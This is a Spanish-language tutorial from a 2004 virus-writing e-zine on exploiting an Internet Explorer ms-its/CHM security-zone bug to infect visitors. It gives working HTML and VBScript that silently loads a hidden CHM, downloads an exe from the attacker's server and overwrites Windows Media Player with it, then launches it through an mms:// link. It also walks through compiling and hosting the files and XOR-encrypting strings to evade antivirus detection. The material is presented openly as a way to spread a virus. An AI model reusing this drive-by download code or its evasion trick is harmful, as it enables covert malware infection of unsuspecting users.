(C) MITOSIS #2 E-Zine/GEDZAC 2004


Tema          : Vulnerabilidad en el Sistema de Ayuda de Windows
Autor         : MachineDramon
Válido para   : Windows

*********************************************************************************
Esta Vulnerabilidad fue reportada mas o menos por el 10 de abril de este mes
y al momento de escribir esto, ya microsoft habia publicado un parche :(.

El bug consiste en que Internet Explorer(IE) no valida correctamente el
origen de los scripts de los archivos .chm cuando se usa el protocolo
ITS(sistema utilizado por la ayuda online de windows).

Si se usa una url como esta:

ms-its:mhtml:file://C:\gedzac.mhtml!http://www.iespana.es/gedprueba//1.chm::/1.htm

Donde se usa el protocolo ITS y MHTML y se apunta a un mhtml inexsistente
IE abre la url del archivo chm que se indica y falla al aplicar su politica
de Zonas de Seguridad, ya que el archivo CHM se ejecuta dentro de la zona
local, incluidos los scripts que pueda contener.

La ventaja de esto es que nos permite operaciones que desde la zona de
internet del IE, no podriamos realizar, como llamar a algunos ActiveX.

En Resumen, nos permite ejecutar un script en forma local
Información más tecnica en:
http://www.vsantivirus.com/hi-vul-its-protocol.htm

Se han publicado exploits para usarlo para descargar y ejecutar un exe
en win 2000/XP/2003, en Win9x el exploit no funciona para eso ya que el
Win9x no permite llamar al ActiveX "Adodb.Stream".

Se explicara como usar el exploit en Win2000/XP/2003:
------------------------------------------------------

Necesitamos:

1)Un Server que nos deje subir archivos chm y exe (algunos filtran ciertas
extenciones).

2)Un .htm que lance el .chm

3)Un .chm creado con un .htm que aproveche el bug

4)Un .exe (el virus)
---------------------------------------------------------------------

a)Creando el .htm que lance el .chm:
-------------------------------------
Creamos un directorio para poner los archivos que usaremos, por ejemplo
C:\ExploitCHM\

-Utilizamos <object> para llamar a la url del .chm mediante data=Url
data indica a <object> de donde va a cargar el archivo.

-Esto nos da la url del server donde esta index.htm
Mid(document.url,1,InStrRev(document.url,"/")-1)
Podria reemplazarse por http://www.myserver.com

-style='visibility:hidden' hace que no se vea lo que llamamos con
object, osea el .chm

-type='text/x-scriptlet' indica que <object> va a cargar un scriptlet
en este caso un .chm

"Un Scriptlet es una página web basada en HTML pero que proporciona una
interfaz para facilitar su configuración y uso en cualquier tipo de 
contenedor que soporte controles empezando, por supuesto, por 
Microsoft Internet Explorer, pero incluyendo VB, Delphi, etc."
->Info de Scriptlet: http://www.idg.es/pcworld/articulo.asp?idart=101188


Creamos un index.htm y escribimos:

--------------------------------------------------------------------------------
<HTML>
<Script Language='VBS'>
gUrl="<object data='ms-its:mhtml:file://C:\GEDZAC.mhtml!" & Mid(document.url,1,InStrRev(document.url,"/")-1) & "//page.chm::/page.htm' type='text/x-scriptlet' style='visibility:hidden'>"
document.write gUrl
</Script>
</HTML>
---------------------------------------------------------------------------------

Podemos agregarle mas codigo para que muestre algo para disimular, como una
imagen o otra page.


b)Creando el .chm:
-------------------
Un .chm es un .htm compilado en un formato de ayuda de microsoft, los .chm
son abiertos por HH.exe, que se encuentra en la carpeta de windows.

Entonces para crear el .chm, primero tenemos que crear un .htm con un script
que baje y ejecute un exe, el script que usaremos sera parecido al del 
metodo media-sidebar: http://www.cyruxnet.com.ar/media_sidebar.htm

Creamos page.htm y escribimos:

-------------------------------------------------------------------------
<HTML>
<Script Language='VBS'>
On Error Resume Next

'Array con las posibles rutas donde se encuentre el wmplayer.exe o el 
'mplayer2.exe
wmp=Array(":\Programmer\Windows Media Player\wmplayer.exe", _
         ":\Programmer\Windows Media Player\mplayer2.exe", _
         ":\Program\Windows Media Player\wmplayer.exe", _
         ":\Program\Windows Media Player\mplayer2.exe", _
         ":\Programme\Windows Media Player\wmplayer.exe", _
         ":\Programme\Windows Media Player\mplayer2.exe", _
         ":\Programmi\Windows Media Player\wmplayer.exe", _
         ":\Programmi\Windows Media Player\mplayer2.exe", _
         ":\Programfiler\Windows Media Player\wmplayer.exe", _
         ":\Programfiler\Windows Media Player\mplayer2.exe", _
         ":\Programas\Windows Media Player\wmplayer.exe", _
         ":\Programas\Windows Media Player\mplayer2.exe", _
         ":\Archivos de programa\Windows Media Player\wmplayer.exe", _
         ":\Archivos de programa\Windows Media Player\mplayer2.exe", _
         ":\Program Files\Windows Media Player\wmplayer.exe", _
         ":\Program Files\Windows Media Player\mplayer2.exe")

'Array con las posibles letras de unidad de disco, donde podrian existir
'las rutas del array anterior
cdp=Array("C","D","E")

'Contadores for para ir listando los elementos de los array, para buscar
'el wmplayer o mplayer2, Ubound() da el indice superior de un array
For w=0 to Ubound(cdp)
 For i=0 to Ubound(wmp)

'Si la ruta pasada a ExFile, da true osea existe el archivo, igualamos
'wmpath a esa ruta y salimos de for
 If ExFile(cdp(w)&wmp(i)) Then wmpath = cdp(w)&wmp(i): Exit For

 Next
'si wmpath ya esta asignado a una ruta(osea ya se encontro el wmplayer)
'entonces salimos de este for tambien
If Not(IsEmpty(wmpath)) Then Exit For
Next

'Creamos los objetos Microsoft.XMLHTTP y ADODB.Stream
 Set xml = CreateObject("Microsoft.XMLHTTP")
 Set ads = CreateObject("ADODB.Stream")

'Igualamos gUrl a la ruta del .exe que descargaremos, en este caso test.exe
'o podriamos poner: http://www.myserver.com/test.exe
'la url que nos da document.url es parecida a:
'mk:@MSITStore:http://www.myserver.com//page.chm::/page.htm
'asi que debemos quedarnos solo con: http://www.myserver.com
'para eso es el Mid
 gUrl = LCase(document.url)
 gUrl = Mid(gUrl,InStr(gUrl,"http"),InStrRev(gUrl,"//")-InStr(gUrl,"http")) & "/test.exe"

'Usamos el metodo Open y Send de Microsoft.XMLHTTP para enviar una solicitud
'GET pidiendo el archivo .exe
 xml.Open "GET", gUrl, False
 xml.Send

'Seleccionamos el modo de lectura o escritura (3)
 ads.Mode = 3

'Seleccionamos el typo (1) que indica que el archivo es binario como .exe
'y no de texto
 ads.Type = 1

'Abrimos el archivo
 ads.Open

'Escribimos en él lo que nos envio el server como contenido de la Url
'del exe
 ads.Write(xml.ResponseBody)

'Lo guardamos en la ruta del wmplayer, sobreescribiendolo
'el parametro 2 es para si no existe lo cree y si existe lo sobreescriba
 ads.SaveToFile wmpath, 2

'le pasamos a IE una url que deberia tener contenido multimedia, por lo que
'IE tratara de abrirla llamando al wmplayer, pero el wmplayer ya estara
'sobreescrito con el virus, osea que lo que el IE ejecutara sera el virus
 location.href = "mms://"

'Esta funcion devuelve true si existe el archivo que se le pasa como
'argumento y false sino, usa LoadPicture para verificar la existencia
'del archivo, si el archivo existe el Err.Number(numero de error)
'sera 481 y dara true, el Err.Clear es para "limpiar" los errores anteriores
'si los ubiera
Function ExFile(path)
On Error Resume Next: Err.Clear
LoadPicture(path)
ExFile = Err.Number = 481
End Function

</Script>
</HTML>
-------------------------------------------------------------------------

Ya tenemos el page.htm, ahora vamos a compilarlo para crear el page.chm
podemos usar diferentes herramientas para compilar el chm, como:
VisualChm de http://www.vchm.com, en este articulo se usara el
HTML Help WorkShop de Microsoft, 

Aprender a usar el HTML Help WorkShop:
http://www.elguille.info/vb/hhw/indice.htm

Descargar el HTML Help WorkShop (htmlhelp.exe):
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/htmlhelp/html/hwMicrosoftHTMLHelpDownloads.asp

-Una vez que lo descargamos e instalamos, abrimos el programa y seleccionamos
File -> New

-Nos aparece un menú, seleccionamos Proyect

-Nos aparece un asistente y le damos "siguiente", sin marcar la casilla
Convert WinHelp Proyect

-Nos pide la ruta donde vamos a crear el proyecto, en este caso estamos
guardando los archivos de bug en C:\ExploitCHM\ ,asi que ponemos:
C:\ExploitCHM\page.hhp y damos siguiente

-Seleccionamos la casilla HTML Help table of contents (.hhc) y damos
siguiente

-Escribimos la ruta donde se creara la tabla de contenidos del proyecto
C:\ExploitCHM\page.hhc y damos siguiente

-Nos aparece la ventana del programa con 3 pestañas: Proyect, Contents e Index
vemos varios botones en una barra a la izquierda.
 En la pestaña Proyect vamos al 2° boton empezando desde arriba
 "Add/Remove Topic Files", nos aparece una ventana y damos en "Add"
 escogemos el archivo page.htm que creamos y damos "Abrir", luego "OK"

 Vamos a la pestaña Contents y puede que nos aparesca un msg de que
 no encuentra la tabla de contenidos(page.hhc), si aparece el msg aceptamos
 y nos aparece una ventana donde selecionamos "Create a New contents File"
 y damos OK, luego vamos al directorio donde estamos guardando los
 archivos del bug(C:\ExploitCHM\) y colocamos como nombre del archivo
 a crear page.hhc y damos a guardar, luego en la barra de la izquierda
 damos al 3° boton empezando desde arriba "Insert a Page" y nos aparece
 una ventana, en el campo "Entre title" ponemos un titulo cualquiera y
 damos en "Add", sale una ventana donde deberia aparecer la ruta de
 page.htm, (sino aparece damos "Add" y lo buscamos), si aparece lo seleccio-
 namos y damos "OK", luego a Aceptar.

-Luego vamos a File->Compile y nos aparece la ruta donde se va a compilar
 el chm, verificamos que la ruta sea C:\ExploitCHM\page.chm y damos a
 "Compile", si nos pregunta si queremos guardar los cambios le damos a "Si"

-Listo ya tenemos nuestro .chm

c)Ahora subimos al server:
  * index.htm
  * page.chm
  * test.exe

Y entrando a http://www.myserver.com/index.htm debe funcionar el bug

Para evitar la heuristica de los avs recomendado encriptar las cadenas o 
strings de los scripts con alguna funcion de encriptacion como:

Function q(j)
On Error Resume Next
For R = 1 To Len(j)
q = q & Chr(Asc(Mid(j, R, 1)) Xor 7)
Next
End Function


Más info del bug en:
http://cyruxnet.webcindario.com/viewtopic.php?t=332
http://www.hackxcrack.com/phpBB2/viewtopic.php?t=14016&postdays=0&postorder=asc&start=0

Y Saludos a IsAhT y ZaBoo ya que sin sus post en esos foros me ubiera
sido más dificil aprender a usar este bug.

(C) MITOSIS #2 E-Zine/GEDZAC 2004